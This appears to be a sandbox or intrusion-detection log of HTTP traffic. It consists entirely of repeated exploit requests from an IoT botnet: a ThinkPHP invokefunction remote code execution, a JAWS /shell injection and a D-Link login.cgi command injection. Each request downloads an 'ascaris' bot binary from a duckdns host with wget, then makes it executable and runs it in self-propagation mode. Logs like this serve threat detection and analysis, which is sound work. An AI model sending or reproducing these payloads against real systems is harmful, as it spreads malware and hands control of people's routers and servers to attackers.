Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
